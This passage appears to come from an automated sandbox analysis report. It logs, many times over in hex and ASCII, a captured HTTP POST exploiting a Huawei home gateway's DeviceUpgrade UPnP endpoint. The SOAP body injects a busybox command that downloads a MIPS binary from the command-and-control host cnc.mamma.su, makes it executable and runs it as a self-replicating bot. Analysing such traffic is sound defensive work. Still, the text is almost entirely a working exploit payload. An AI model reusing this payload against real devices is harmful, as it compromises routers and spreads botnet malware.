62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 